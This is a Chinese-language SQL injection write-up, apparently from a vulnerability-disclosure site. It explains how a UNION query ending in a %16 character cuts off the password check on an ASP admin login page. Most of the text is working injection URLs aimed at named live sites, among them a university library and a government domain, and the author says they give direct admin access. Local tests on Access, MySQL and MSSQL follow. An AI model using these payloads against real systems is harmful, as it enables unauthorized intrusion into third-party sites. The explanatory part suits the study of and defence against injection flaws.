http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?admin=1'%20and%20exists%20(select%20*%20from%20admin1)%20and%20'1'='1&password=1&Submit=%c8%b7%20%b6%a8
用此方法也可以快速判断是否存在注入
order by是有4个字段:
http://lib.hebiace.edu.cn/dzb/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://www.botou.gov.cn/yj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://210.41.160.9:84/huang/nbzy/hjyj/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
http://www.qzgl.cn/admin/chklogin.asp?password=1&Submit=%c8%b7%20%b6%a8&admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
上面链接都是直接进入系统:
顺带简单分析一下上面的情况,因为
admin=1%27%20UNION%20ALL%20SELECT%20123%2CNULL%2CNULL%2CNULL%20FROM%20MSysAccessObjects%16
看一下%16是个啥:
看下代码:
查询原本拼凑出来的是:
select * from admin where admin=’1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects (%16转换为的字符,乌云不让贴) and password=1
等同于查询变成了:
select * from admin where admin=’ 1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
所以使用了联结查询就等于“查询出了一条数据:id=123其它字段都为空”
后面部分的代码,不多说了没什么特别的
本地测试下:
表结构:
测:1:
SELECT * from admin where username='admin' and password='123';
测试2(加了%16字符):
很明显后面密码的条件已经被截断了。
再测试mysql直接报错:
再测试下mssql,%16直接被忽视: